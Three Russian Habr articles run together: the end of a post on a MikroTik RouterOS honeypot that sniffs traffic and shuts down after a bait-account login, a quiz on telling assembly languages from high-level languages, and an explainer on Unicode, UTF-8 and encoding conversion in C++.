Теперь перейдем к ключевому моменту. Для того, чтобы honeypot не натворил плохих дел будем постоянно анализировать внутренний лог RouterOS на факт подключения "учетной записи приманки" пользователя root с паролем qwerty (построчно перебирать лог и искать ключевую фразу «*user root logged in*»). Как только это произойдет, включаем обратный отчет и сразу начинаем снифить трафик. Через 10 минут (по нашему мнению этого времени будет достаточно, чтобы проанализировать действия и не достаточно, чтобы сообразить осуществить плохие делишки) просто выключаем маршрутизатор, и бот на это повлиять не сможет:
```
:local DELAY 600;
:local USER root;
:local STRING "user $USER logged in";
:foreach line in=[/log find message~$STRING] do={
if ([ /tool sniffer get running] = no) do={
/tool sniffer start;
}
:delay $DELAY;
/system shutdown;
}
```
Не забудем очистить консоль от введенных нами команд `/console clear-history`. Можно настроить удаленное оповещение о факте доступа к нашему honeypot по средством, например, email, но не будем оставлять какой-либо приватной информации на маршрутизаторе. Контролировать будем в ручную через нативное приложение на телефоне. Если подключение не прошло, значит root все-таки зашел на honeypot, следовательно настало время изучать трафик и логи. При повторной загрузке (после срабатывания) не забываем сразу отключить учетную запись - приманку`:`
```
sshpass -p суровый_пароль_настоящего_админа ssh admin@ip_роутера /user disable root
```
Удачной охоты на ботов!
P.S. В конце 2020 года нами был реализован проект по организации общественного доступа в Интернет для международной компании «[Coffee Сup](https://www.coffeecuptogo.com/)»: 5 собственных баров формата «кофе с собой» в разных городах, а так же дилеров по всей России и странах СНГ(до последних руки не дошли). Что вполне не удивительно, но среди клиентов Hotspot сетей находятся не чистые на руку, пытающиеся получить доступ до маршрутизаторов. Интересно, так сказать, узнать их "в лицо"... | https://habr.com/ru/post/548824/ | null | ru | null |
# Уверены, что отличите ассемблер от других языков?
[](https://habr.com/ru/company/ruvds/blog/554910/)
Немногие смело признают, что могут ошибиться в идентификации ассемблера, ведь это по-своему особенный язык. Однако не спешите с выводами, а лучше пройдите небольшой тест, который не просто позволит взгляуть на него в ином свете, но и проверит вашу осведомленность в этой сфере.
Программирование на ассемблере сегодня в лучшем случае занимает нишевое положение и чаще воспринимается как неоправданно педантичное, требовательное и затратное даже для своей ниши.
Ассемблер непрост. Он недружелюбен. Программирование на этом языке происходит медленно и зачастую сопряжено с ошибками — таково общепринятое мнение.
К сожалению, в современной цифровой среде исходит это мнение от людей, которые, как правило, плохо представляют, как реально выглядят современные языки ассемблера. Этот стиль программирования не застрял в 50-х, он развивался вместе с высокоуровневыми языками, вбирая в себя структурные, функциональные и объектно-ориентированные элементы. Он отлично дружит с современными API и DOM. Конечно же, принципиально это низкоуровневый язык, но вы можете с тем же успехом создавать поверх него и высокоуровневые абстракции.
Честно говоря, я даже не уверен, что кто-нибудь сможет легко отличить код ассемблера от какого-нибудь высокоуровневого кода без помощи гугла. Вот вы сможете?
1. GUI
------
Ниже приведен фрагмент кода. Он создает окно с WinAPI и запускает для него цикл обработки сообщений.
Прошу вас, ознакомьтесь с ним и ответьте, написан ли он на одном из видов ассемблера или же на высокоуровневом языке?
```
nMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX ; создает локальные переменные в стеке
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX ; заполняет значения в членах wc
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc ; регистрирует класс window
invoke CreateWindowEx,NULL,
ADDR ClassName, ADDR AppName,\
WS_OVERLAPPEDWINDOW,\
CW_USEDEFAULT, CW_USEDEFAULT,\
CW_USEDEFAULT, CW_USEDEFAULT,\
NULL, NULL, hInst, NULL
mov hwnd,eax
invoke ShowWindow, hwnd,CmdShow ; отображает окно на рабочем столе
invoke UpdateWindow, hwnd ; обновляет клиентскую область
.WHILE TRUE ; вход в цикл сообщений
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam ; возврат кода выхода в eax
ret
WinMain endp
```
**Это ассемблер**
Код написан на MASM32, который, по сути, является набором макросов и библиотек поверх Microsoft Assembler. Он чудесно работает с WinAPI и прост в освоении. И хотя обслуживание крупных приложений с его помощью все еще вызывает сложности, создание простых, чистых и быстрых программ на этом языке дается без проблем.
Источник: Iczelion's Win32 Assembly Homepage, Tutorial 3: A Simple Window. [win32assembly.programminghorizon.com/tut3.html](http://win32assembly.programminghorizon.com/tut3.html)
**Это что-то другое**
Код написан на MASM32, который, по сути, является набором макросов и библиотек поверх Microsoft Assembler. Он чудесно работает с WinAPI и прост в освоении. И хотя обслуживание крупных приложений с его помощью все еще вызывает сложности, создание простых, чистых и быстрых программ на этом языке дается без проблем.
Источник: Iczelion's Win32 Assembly Homepage, Tutorial 3: A Simple Window. [win32assembly.programminghorizon.com/tut3.html](http://win32assembly.programminghorizon.com/tut3.html)
2. Библиотеки
-------------
Ниже дан пример функциональной библиотеки. Функция “add” просто складывает два целых числа и возвращает их сумму.
```
(module
(func $add (param $lhs i32) (param $rhs i32) (result i32)
get_local $lhs
get_local $rhs
i32.add)
(export "add" (func $add))
)
```
**Это ассемблер**
Это WebAssembly. И хотя основная его идея состоит в предоставлении двоичного кода для веб независимо от исходного языка, он и сам по себе является вполне легитимным языком ассемблера. В нем можно непосредственно писать программы для веб, и он может сам выступать исходным языком.
Источник: примеры WebAssembly с официального сайта: [developer.mozilla.org/en-US/docs/WebAssembly](https://developer.mozilla.org/en-US/docs/WebAssembly).
**Это что-то другое**
Это WebAssembly. И хотя основная его идея состоит в предоставлении двоичного кода для веб независимо от исходного языка, он и сам по себе является вполне легитимным языком ассемблера. В нем можно непосредственно писать программы для веб, и он может сам выступать исходным языком.
Источник: примеры WebAssembly с официального сайта: [developer.mozilla.org/en-US/docs/WebAssembly](https://developer.mozilla.org/en-US/docs/WebAssembly).
3. Алгоритмы
------------
Это реализация алгоритма TPK. Она содержит функцию, несколько циклов, массив и инструкцию вывода в консоль.
```
1 c@VA t@IC x@½C y@RC z@NC
2 INTEGERS +5 →c
3 →t
4 +t TESTA Z
5 -t
6 ENTRY Z
7 SUBROUTINE 6→z
8 +tt→y→z
9 +tx→y→x
10 +z+cx CLOSE WRITE 1
11 a@/½ b@MA c@GA d@OA e@PA f#HA i@VE x@ME
12 INTEGERS +20 →b +10 →c +400 →d +999 →e +1 →f
13 LOOP 10n
14 n→x
15 +b-x→x
16 x→q
17 SUBROUTINE 5 →aq
18 REPEAT n
16 +c →i
20 LOOP 10n
21 +an SUBROUTINE 1 →y
22 +d-y TESTA Z
23 +i SUBROUTINE 3
24 +e SUBROUTINE 4
25 CONTROL X
26 ENTRY Z
27 +i SUBROUTINE 3
28 +y SUBROUTINE 4
29 ENTRY X
30 +i→f→i
31 REPEAT n
32 ENTRY A CONTROL A WRITE 2 START 2
```
**Это ассемблер**
Это не ассемблер. Перед вами разработка Алика Гленни — AUTOCODE– один из первых высокоуровневых языков.
источник: The Early Development Of Programming Languages by Donald E. Knuth, Luis Trabb Pardo, 1976.
Кстати, TPK означает «Typical Pardo Knuth» (типичный Пардо Кнут, от имени его создателя) Это не настоящий алгоритм, и создавался он для демонстрации нескольких языков в одном примере.
**Это что-то другое**
Это не ассемблер. Перед вами разработка Алика Гленни — AUTOCODE– один из первых высокоуровневых языков.
источник: The Early Development Of Programming Languages by Donald E. Knuth, Luis Trabb Pardo, 1976.
Кстати, TPK означает «Typical Pardo Knuth» (типичный Пардо Кнут, от имени его создателя) Это не настоящий алгоритм, и создавался он для демонстрации нескольких языков в одном примере.
4. Структурное программирование
-------------------------------
Вот пример вычисления суперскалярной суммы.
```
v0 = my_vector // нам нужна горизонтальная сумма следующего
int64 r0 = get_len ( v0 )
int64 r0 = round_u2 ( r0 )
float v0 = set_len ( r0 , v0 )
while ( uint64 r0 > 4) {
uint64 r0 > >= 1
float v1 = shift_reduce ( r0 , v0 )
float v0 = v1 + v0
}
// Теперь сумма представлена скаляром в v0
```
**Это ассемблер**
Это язык ассемблера ForwardCom. Агнер Фог, который, помимо прочего, является автором популярных мануалов оптимизации и живым вдохновением для всех нас, позиционирует этот синтаксис как более дружественный для программистов. По существу, он не предназначен для компьютеров, но раз Си оказывается для большинства людей более удобен, чем операционный код, то идея сделать программирование на ассемблере более Си-подобным выглядит вполне актуальной.
Источник: примеры кода из ForwardCom: An open-standard instruction set for high-performance microprocessors by Agner Fog.
**Это что-то другое**
Это язык ассемблера ForwardCom. Агнер Фог, который, помимо прочего, является автором популярных мануалов оптимизации и живым вдохновением для всех нас, позиционирует этот синтаксис как более дружественный для программистов. По существу, он не предназначен для компьютеров, но раз Си оказывается для большинства людей более удобен, чем операционный код, то идея сделать программирование на ассемблере более Си-подобным выглядит вполне актуальной.
Источник: примеры кода из ForwardCom: An open-standard instruction set for high-performance microprocessors by Agner Fog.
5. Еще структурное программирование
-----------------------------------
Это решение [задачи о восьми ферзях](https://en.wikipedia.org/wiki/Eight_queens_puzzle) с выводом в консоль. Его платформенная зависимость минимальна, но при этом оно не обогащено высокоуровневыми возможностями вроде классов, шаблонов или встроенных контейнеров.
```
GET "LIBHDR"
GLOBAL $(
COUNT: 200
ALL: 201
$)
LET TRY(LD, ROW, RD) BE
TEST ROW = ALL THEN
COUNT := COUNT + 1
ELSE $(
LET POSS = ALL & ~(LD | ROW | RD)
UNTIL POSS = 0 DO $(
LET P = POSS & -POSS
POSS := POSS - P
TRY(LD + P << 1, ROW + P, RD + P >> 1)
$)
$)
LET START() = VALOF $(
ALL := 1
FOR I = 1 TO 12 DO $(
COUNT := 0
TRY(0, 0, 0)
WRITEF("%I2-QUEENS PROBLEM HAS %I5 SOLUTIONS*N", I, COUNT)
ALL := 2 * ALL + 1
$)
RESULTIS 0
$)
```
**Это ассемблер**
Это не ассемблер. Знакомьтесь – это BCPL – язык, на основе которого родился B и Си. А из Си, как вы знаете, произошел C++, Java, C# и даже в некотором смысле JavaScript. Это высокоуровневый язык, который не так уж стар. Появился он после Fortran, Algol, Cobol, Lisp, APL. Его сильной стороной в свое время была простота, но не передовые возможности. Тем не менее самая первая программа Hello World была написана именно на BCPL. То же касается и первой MMORPG.
Источник: BCPL From Wikipedia, the free encyclopedia.
**Это что-то другое**
Это не ассемблер. Знакомьтесь – это BCPL – язык, на основе которого родился B и Си. А из Си, как вы знаете, произошел C++, Java, C# и даже в некотором смысле JavaScript. Это высокоуровневый язык, который не так уж стар. Появился он после Fortran, Algol, Cobol, Lisp, APL. Его сильной стороной в свое время была простота, но не передовые возможности. Тем не менее самая первая программа Hello World была написана именно на BCPL. То же касается и первой MMORPG.
Источник: BCPL From Wikipedia, the free encyclopedia.
6. ООП (с классами и методами)
------------------------------
Вот [ассемблер .NET](https://docs.microsoft.com/en-us/dotnet/standard/assembly/) (не путать с ассемблером в «языке ассемблера»). Он состоит из одного модуля с одним классом, имеющим один метод, который выводит в консоль “Hello World”.
```
// Metadata version: v2.0.50215
.assembly extern mscorlib
{
.publickeytoken = (B7 7A 5C 56 19 34 E0 89 )
.ver 2:0:0:0
}
.assembly sample
{
.custom instance void [mscorlib]System.Runtime.CompilerServices
.CompilationRelaxationsAttribute::.ctor(int32) =
( 01 00 08 00 00 00 00 00 )
.hash algorithm 0x00008004
.ver 0:0:0:0
}
.module sample.exe
// MVID: {A224F460-A049-4A03-9E71-80A36DBBBCD3}
.imagebase 0x00400000
.file alignment 0x00000200
.stackreserve 0x00100000
.subsystem 0x0003 // WINDOWS_CUI
.corflags 0x00000001 // ILONLY
// Image base: 0x02F20000
// =============== CLASS MEMBERS DECLARATION ===================
.class public auto ansi beforefieldinit Hello
extends [mscorlib]System.Object
{
.method public hidebysig static void Main(string[] args) cil managed
{
.entrypoint
// Размер кода 13 (0xd)
.maxstack 8
IL_0000: nop
IL_0001: ldstr "Hello World!"
IL_0006: call void [mscorlib]System.Console::WriteLine(string)
IL_000b: nop
IL_000c: ret
} // конец метода Hello::Main
.method public hidebysig specialname rtspecialname
instance void .ctor() cil managed
{
// Размер кода 7 (0x7)
.maxstack 8
IL_0000: ldarg.0
IL_0001: call instance void [mscorlib]System.Object::.ctor()
IL_0006: ret
} // конец метода Hello::.ctor
} // конец класса Hello
```
**Это ассемблер**
Да, это ассемблер, написанный на ассемблере. Это ILAsm (промежуточный язык ассемблера), который ассемблируется в промежуточный язык .NET.
Вы вольны использовать все возможности .NET: GUI, обращение к базе данных, сетевые функции – все это при одновременном наличии низкоуровневого контроля деталей. Да, такой вариант может показаться чересчур многословным и неоправданно подробным, но все равно он представляет весьма мощный вариант ассемблера. Помимо классов и методов в качестве встроенных типов он предлагает исключения и строки.
Источник: [docs.microsoft.com/en-us/dotnet/framework/tools/ilasm-exe-il-assembler](https://docs.microsoft.com/en-us/dotnet/framework/tools/ilasm-exe-il-assembler).
Бессовестная реклама: пару лет назад я начал вводить в ILAsm макросы, создавая MILasm. Это вполне рабочее доказательство концепции. С ним интересно играться, хотя для продакшена он не совсем готов ввиду наследственных проблем с производительностью.
**Это что-то другое**
Да, это ассемблер, написанный на ассемблере. Это ILAsm (промежуточный язык ассемблера), который ассемблируется в промежуточный язык .NET.
Вы вольны использовать все возможности .NET: GUI, обращение к базе данных, сетевые функции – все это при одновременном наличии низкоуровневого контроля деталей. Да, такой вариант может показаться чересчур многословным и неоправданно подробным, но все равно он представляет весьма мощный вариант ассемблера. Помимо классов и методов в качестве встроенных типов он предлагает исключения и строки.
Источник: [docs.microsoft.com/en-us/dotnet/framework/tools/ilasm-exe-il-assembler](https://docs.microsoft.com/en-us/dotnet/framework/tools/ilasm-exe-il-assembler).
Бессовестная реклама: пару лет назад я начал вводить в ILAsm макросы, создавая MILasm. Это вполне рабочее доказательство концепции. С ним интересно играться, хотя для продакшена он не совсем готов ввиду наследственных проблем с производительностью.
7. ООП (с объектами и сообщениями)
----------------------------------
Это пример TCP-сервера. В нем есть объекты и методы, а работает он в собственной среде.
```
Namespace current addSubspace: #SimpleTCP!
Namespace current: SimpleTCP!
"A simple TCP server"
Object subclass: #Server
instanceVariableNames: 'serverSocket socketHandler'
classVariableNames: ''
poolDictionaries: ''
category: ''!
!Server class methodsFor: 'instance creation'!
new: aServerSocket handler: aHandler
| simpleServer |
simpleServer := super new.
simpleServer socket: aServerSocket.
simpleServer handler: aHandler.
simpleServer init.
^simpleServer
!!
!Server methodsFor: 'initialization'!
init
^self
!!
!Server methodsFor: 'accessing'!
socket
^serverSocket
!
socket: aServerSocket
serverSocket := aServerSocket.
^self
!
handler
^socketHandler
!
handler: aHandler
socketHandler := aHandler.
^self
!!
!Server methodsFor: 'running'!
run
| s |
[
serverSocket waitForConnection.
s := (serverSocket accept).
self handle: s
] repeat
!
!Server methodsFor: 'handling'!
handle: aSocket
socketHandler handle: aSocket
!!
```
**Это ассемблер**
Это не ассемблер. Перед вами GNU SmallTalk – один из наиболее влиятельных ранних языков ООП. У него не совсем удобный синтаксис, но с программированием на ассемблере ничего общего этот язык не имеет. Более того, он максимально далек от низкоуровневого платформо-зависимого программирования.
Источник: Building a simple chat server with GNU Smalltalk using class inheritance из [smalltalk.gnu.org/wiki/examples](http://smalltalk.gnu.org/wiki/examples)\
**Это что-то другое**
Это не ассемблер. Перед вами GNU SmallTalk – один из наиболее влиятельных ранних языков ООП. У него не совсем удобный синтаксис, но с программированием на ассемблере ничего общего этот язык не имеет. Более того, он максимально далек от низкоуровневого платформо-зависимого программирования.
Источник: Building a simple chat server with GNU Smalltalk using class inheritance из [smalltalk.gnu.org/wiki/examples](http://smalltalk.gnu.org/wiki/examples)\
Заключение
----------
Современное программирование на ассемблере не обязательно связано с инструкциями процессора и регистрами. Да, код всегда начинается с низов, но его можно оснастить функциями, классами и макросами, сделав до нужной степени высокоуровневым.
Программировать на этом языке не всегда трудно, и он не всегда оказывается чрезмерно педантичен. Просто каждому нужно подобрать подходящий для работы уровень.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=Bright_Translate&utm_campaign=uvereny,_chto_otlichite_assembler_ot_drugix_yazykov) | https://habr.com/ru/post/554910/ | null | ru | null |
# Грустная история забытых символов. Как не сойти с ума при работе с кодировками в C++

Говоря о тексте, большинство программистов C++ думают о массивах кодов символов и кодировке, которой эти коды соответствуют. Наиболее опытные разработчики вообще не мыслят понятие текста без указания кодировки, наименее опытные просто считают массив байтов с кодами символов данностью и интерпретируют в понятиях кодировки операционной системы. Фундаментальная разница между этими двумя подходами не только в опыте разработчика, но и в том, что не думать о кодировке намного проще. Пора рассмотреть способ, как не заботиться о хранении кодировки, перекодировке текста, получать свободный доступ к символам и при этом видеть безошибочное представление текста вне зависимости от того, кто и где смотрит на строку текста: в Китае ли, в США или на острове Мадагаскар.
#### 8 бит и все-все-все…
Начнем с главного. Создатели языка си были минималистами. По сей день в стандарте C/C++ не предусмотрено типа «байт». Вместо этого типа используется тип char. Char означает character, иными словами — символ. Соответственно, говоря в С/С++ о типе char, мы подразумеваем «байт», и наоборот. Вот тут и начинается самое интересное. Дело в том, что максимально возможное число символов, кодируемых 8 битами, равно 256, и это при том, что на сегодняшний день в таблице Unicode насчитываются сотни тысяч символов.
Хитрые создатели ASCII-кодов сразу же зарезервировали первые 128 кодов под стандартные символы, которыми смело можно закодировать практически все в англоязычном мире, оставив нам лишь половину байта под свои нужды, а точнее лишь один свободный старший бит. В результате в первые годы становления информатики все пытались ужаться в эти оставшиеся «отрицательные» числа от –128 до –1. Каждый набор кодов стандартизировался под определенным именем и с этого момента именовался кодировкой. В какой-то момент кодировок стало больше, чем символов в байте, и все они были несовместимы между собой в той части, что выходила за пределы первых 128 ASCII-символов. В результате, если не угадать с кодировкой, все, что не являет собой набор символов первой необходимости для американского сообщества, будет отображено в виде так называемых кракозябр, символов, как правило, вообще нечитаемых.
Мало того, для одних и тех же алфавитов разные системы вводили кодировки, совершенно рассогласованные между собой, даже если это две системы за авторством одной компании. Так, для кириллицы в MS DOS использовались кодировки 855 и 866, а для Windows уже 1251, все для той же кириллицы в Mac OS используется уже своя кодировка, особняком от них стоят KOI8 и KOI7, есть даже ISO 8859-5, и все будут трактовать одни и те же наборы char совершенно разными символами. Мало того, что было невозможно при обработке различных байт-символов пользоваться сразу несколькими кодировками, например при переводе с русского на немецкий с умлаутами, вдобавок сами символы в некоторых алфавитах ну никак не хотели помещаться в оставленные для них 128 позиций. В результате в интернациональных программах символы могли интерпретироваться в разных кодировках даже в соседних строках, приходилось запоминать, какая строка в какой кодировке, что неизбежно вело к ошибкам отображения текста, от забавных до совсем не смешных.
> Поставь себе на виртуальную машину любую другую операционную систему с другой кодировкой по умолчанию, нежели на твоей хостовой системе, например Windows c кодировкой 1251, если у тебя Linux с UTF-8 по умолчанию, и наоборот. Попробуй написать код с выводом строки кириллицей в std::cout, который без изменения кода будет собираться и работать под обеими системами одинаково. Согласись, интернационализация кросс-платформенного кода не такая простая задача.
#### Пришествие Юникода
Задумка Юникода была проста. Каждому символу раз и навсегда присваивается один код на веки вечные, это стандартизуется в очередной версии спецификации таблицы символов Юникода, и код символа уже не ограничен одним байтом. Великолепная задумка во всем, кроме одного: в языки программирования C/C++ и не только в них символ char раз и навсегда ассоциировался с байтом. Повсюду в коде подразумевался sizeof(char), равный единице. Строки текста же были обычными последовательностями этих самых char, заканчивающимися символом с нулевым кодом. В защиту создателей языка си, Ритчи и Кернигана, следует сказать, что в те далекие 70-е годы никто и подумать не мог, что для кодирования символа понадобится так много кодов, ведь для кодирования символов печатной машинки вполне хватало и байта. Как бы то ни было, основное зло было сотворено, любое изменение типа char привело бы к потере совместимости с уже написанным кодом. Разумным решением стало введение нового типа «широкого символа» wchar\_t и дублирование всех стандартных функций языка си для работы с новыми, «широкими» строками. Контейнер стандартной библиотеки C++ string также обрел «широкого» собрата wstring.
Все рады и счастливы, если бы не одно «но»: все уже привыкли писать код на основе байтовых строк, а префикс L перед строковым литералом не добавлял энтузиазма разработчикам на C/C++. Люди предпочитали не использовать символы за пределами ASCII и смириться с ограниченностью латиницы, чем писать непривычные конструкции, несовместимые с уже написанным кодом, работавшим с типом char. Осложняло ситуацию то, что wchar\_t не имеет стандартизированного размера: например, в современных GCC-компиляторах g++ он 4 байта, в Visual C++ — 2 байта, а разработчики Android NDK урезали его до одного байта и сделали неотличимым от char. Получилось так себе решение, которое работает далеко не везде. С одной стороны, 4-байтный wchar\_t наиболее близок к правде, так как по стандарту один wchar\_t должен соответствовать одному символу Юникода, с другой стороны, никто не гарантирует, что будет именно 4 байта в коде, использующем wchar\_t.
Альтернативным решением стала однобайтовая кодировка UTF-8, которая мало того, что совместима с ASCII (старший бит, равный нулю, отвечает за однобайтовые символы), так еще и позволяет кодировать вплоть до 4-байтового целого, то есть свыше 2 миллиардов символов. Плата, правда, довольно существенная, символы получаются различного размера, и чтобы, например, заменить латинский символ R на русский символ Я, потребуется полностью перестроить всю строку, что значительно дороже обычной замены кода в случае 4-байтового wchar\_t. Таким образом, любая активная работа с символами строки в UTF-8 может поставить крест на идее использовать данную кодировку. Тем не менее кодировка довольно компактно ужимает текст, содержит защиту от ошибок чтения и, главное, интернациональна: любой человек в любой точке мира увидит одни и те же символы из таблицы Юникода, если будет читать строку, закодированную в UTF-8. Конечно, за исключением случая, когда пытается интерпретировать эту строку в другой кодировке, все помнят «кракозябры» при попытке открыть кириллицу в UTF-8 как текст в кодировке по умолчанию в Windows 1251.
#### Устройство однобайтного Юникода
Устроена кодировка UTF-8 весьма занятно. Вот основные принципы:
1. Символ кодируется последовательностью байтов, в каждом байте лидирующие биты кодируют позицию байта в последовательности, а для первого байта еще и длину последовательности. Например, так выглядит в UTF-8 символ Я: [1101 0000] [1010 1111]
2. Байты последовательности, начиная со второго, всегда начинаются с битов 10, соответственно, первый байт последовательности кода каждого символа начинаться с 10 не может. На этом строится основная проверка корректности декодирования кода символа из UTF-8.
3. Первый байт может быть единственным, тогда лидирующий бит равен 0 и символ соответствует коду ASCII, поскольку для кодирования остается 7 младших бит.
4. Если символ не ASCII, то первые биты содержат столько единиц, сколько байт в последовательности, включая лидирующий байт, после чего идет 0 как окончание последовательности единиц и потом уже значащие биты первого байта. Как видно из приведенного примера, кодирование символа Я занимает 2 байта, это можно распознать по старшим двум битам первого байта последовательности.
5. Все значащие биты склеиваются в единую последовательность бит и уже интерпретируются как число. Например, для любого символа, кодируемого двумя байтами, значащие биты я условно помечу символом x: [110x xxxx] [10xx xxxx]
При склейке, как видно, можно получить число, кодируемое 11 битами, то есть вплоть до 0x7FF символа таблицы Юникода. Этого вполне хватает для символов кириллицы, расположенной в пределах от 0x400 до 0x530. При склейке символа Я из примера получится код: 1 0000 10 1111
Как раз 0x42F — код символа Я в таблице символов Юникода.
Другими словами, если не работать с символами в строке, заменяя их другими символами из таблицы Юникода, то можно использовать кодировку UTF-8, она надежна, компактна и совместима с типом char в том плане, что элементы строк совпадают по размеру с байтом, но не обязательно являются при этом символами.
Собственно, именно эффективностью и популярностью кодировки UTF-8 и обусловлено насильственное введение однобайтового wchar\_t в Android NDK, разработчики призывают использовать UTF-8, а «широкие» строки не признают как жизнеспособный вид. С другой стороны, Google не так давно отрицал даже исключения в C++, однако весь мир не переспоришь, будь ты хоть трижды Google, и обработку исключений пришлось поддержать. Что касается wchar\_t символов с размером в один байт, то множество библиотек уже привыкло к мытарствам с типом wchar\_t и дублируют «широкий» функционал обработкой обычных байтовых строк.
> UTF (Unicode Transformation Format) — по сути байтовое представление текста, использующее коды символов из таблицы Юникода, запакованные в байтовый массив согласно стандартизированным правилам. Наиболее популярны UTF-8 и UTF-16, которые представляют символы элементами по 8 бит и по 16 бит соответственно. В обоих случаях символ совершенно необязательно занимает ровно 8 или 16 бит, например, в UTF-16 используются суррогатные пары, по сути пары 16-битных значений, используемых вместе. В результате значащих битов становится меньше (20 в случае суррогатной пары), чем битов в группе представляющих символ, но возможности кодировать символы начинают превышать ограничения в 256 или 65 536 значений, и можно закодировать любой символ из таблицы Юникода. Выгодно отличающийся от собратьев UTF-32 менее популярен, ввиду избыточности представления данных, что критично при большом объеме текста.
#### Пишем по-русски в коде
Беды и дискриминация по языковому признаку начинаются, когда мы пытаемся использовать в коде строку на языке, отличном от ASCII. Так, Visual Studio под Windows создает все файлы в кодировке файловой системы по умолчанию (1251), и при попытке открыть код со строками по-русски в том же Linux с кодировкой по умолчанию UTF-8 получим кучу непонятных символов вместо исходного текста.
Ситуацию частично спасает пересохранение исходников в кодировке UTF-8 с обязательным символом BOM, без него Visual Studio начинает интерпретировать «широкие» строки с кириллицей весьма своеобразно. Однако, указав BOM (Byte Order Mark — метка порядка байтов) кодировки UTF-8 — символ, кодируемый тремя байтами 0xEF, 0xBB и 0xBF, мы получаем узнавание кодировки UTF-8 в любой системе.
BOM — стандартный заголовочный набор байтов, нужный для распознавания кодировке текста в Юникоде, для каждой из кодировок UTF он выглядит по-разному. Не стесняйся использовать родной язык в программе. Даже если тебе придется локализовывать ее в другие страны, механизмы интернационализации помогут превратить любую строку на одном языке в любую строку на другом. Разумеется, это в случае, если продукт разрабатывается в русскоязычном сегменте.
Старайся использовать «широкие» строки как для строковых констант, так и для хранения и обработки промежуточных текстовых значений. Эффективная замена символов, а также совпадение количества элементов в строке с количеством символов дорогого стоит. Да, до сих пор не все библиотеки научились работать с «широкими» символами, даже в Boost попадается целый ряд библиотек, где поддержка широких строк сделана небрежно, но ситуация исправляется, во многом благодаря разработчикам, пишущим ошибки в трекер библиотеки, не стесняйся и ты фиксировать ошибки на сайте разработчика библиотеки.
Писать константы и переменные, а также названия функций кириллицей все же не нужно. Одно дело — выводить константы на родном языке, совсем другое — писать код, постоянно переключая раскладку. Не самый лучший вариант.
#### Различаем тип «байты» и тип «текст»
Главное, что нужно уметь и иметь в виду, — что тип «текст» в корне отличается от типа «набор байтов». Если мы говорим о строке сообщения, то это текст, а если о текстовом файле в некоторой кодировке, то это набор байтов, который можно вычитать как текст. Если по сети нам приходят текстовые данные, то они приходят к нам именно байтами, вместе с указанием кодировки, как из этих байтов получить текст.
Если посмотреть на Python 3 в сравнении с Python 2, то третья версия совершила по-настоящему серьезный скачок в развитии, разделив эти два понятия. Крайне рекомендую даже опытному C/C++ разработчику поработать немного в Python 3, чтобы ощутить всю глубину, с которой произошло разделение текста и байтов на уровне языка в Python. Фактически текст в Python 3 отделен от понятия кодировки, что для разработчика C/C++ звучит крайне непривычно, строки в Python 3 отображаются одинаково в любой точке мира, и если мы хотим работать с представлением этой строки в какой-либо кодировке, то придется преобразовать текст в набор байтов, с указанием кодировки. При этом внутреннее представление объекта типа str, по сути, не так важно, как понимание, что внутреннее представление сохранено в Юникоде и готово к преобразованию в любую кодировку, но уже в виде набора байтов типа bytes.
В C/C++ подобный механизм нам мешает ввести отсутствие такой роскоши, как потеря обратной совместимости, которую позволил себе Python 3 относительно второй версии. Одно лишь разделение типа char на аналог wchar\_t и byte в одной из следующих редакций стандарта приведет к коллапсу языка и потере совместимости с непомерным количеством уже написанного кода на С/С++. Точнее, всего, на чем ты сейчас работаешь.
#### Веселые перекодировки
Итак, исходная проблема осталась нерешенной. У нас по-прежнему есть однобайтовые кодировки, как UTF-8, так и старые и недобрые однобайтовые кодировки вроде кодировки Windows 1251. С другой стороны, мы задаем строковые константы широкими строками и обрабатываем текст через wchar\_t — «широкие» символы.
Здесь нам на помощь придет механизм перекодировок. Ведь, зная кодировку набора байтов, мы всегда сможем преобразовать его в набор символов wchar\_t и обратно. Не спеши только самостоятельно создавать свою библиотеку перекодировки, я понимаю, что коды символов любой кодировки сейчас можно найти за минуту, как и всю таблицу кодов Юникода последней редакции. Однако библиотек перекодировки достаточно и без этого. Есть кросс-платформенная библиотека libiconv, под лицензией LGPL, самая популярная на сегодняшний день для кросс-платформенной разработки. Перекодировка сводится к нескольким инструкциям:
```
iconv_t conv = iconv_open("UTF-8","CP1251");
iconv(conv, &src_ptr, &src_len, &dst_ptr, &dst_len);
iconv_close(conv);
```
Соответственно, сначала создание обработчика перекодировки из одной кодировки в другую, затем сама операция перекодировки одного набора байтов в другой (даже если один из наборов байтов на самом деле байты массива wchar\_t), после чего обязательное закрытие созданного обработчика перекодировки. Есть также и более амбициозная библиотека ICU, которая предоставляет как C++ интерфейс для работы с перекодировкой, так и специальный тип icu::UnicodeString для хранения непосредственно текста в представлении Юникода. Библиотека ICU также является кросс-платформенной, и вариантов ее использования предоставляется на порядок больше. Приятно, что библиотека сама заботится о создании, кешировании и применении обработчиков для перекодировки, если использовать C++ API библиотеки.
Например, чтобы создать строку в Юникоде, предлагается использовать обычный конструктор класса icu::UnicodeString:
```
icu::UnicodeString text(source_bytes, source_encoding);
```
Таким образом, предлагается полностью отказаться от типа wchar\_t. Проблема, однако, в том, что внутреннее представление Юникода для такой строки установлено в два байта, что влечет за собой проблему в случае, когда код за эти два байта выходит. Кроме того, интерфейс icu::UnicodeString полностью несовместим со стандартным wstring, однако использование ICU — хороший вариант для С++ разработчика.
Кроме того, есть пара стандартных функций mbstowcs и wcstombs. В общем и целом при правильно заданной локали они, соответственно, преобразуют (мульти-) байтовую строку в «широкую» и наоборот. Расшифровываются сокращения mbs и wcs как Multi-Byte String и Wide Character String соответственно. Кстати, большинство привычных разработчику на языке си функций работы со строками дублируются именно функциями, в которых в названии str заменено на wcs, например wcslen вместо strlen или wcscpy вместо strcpy.
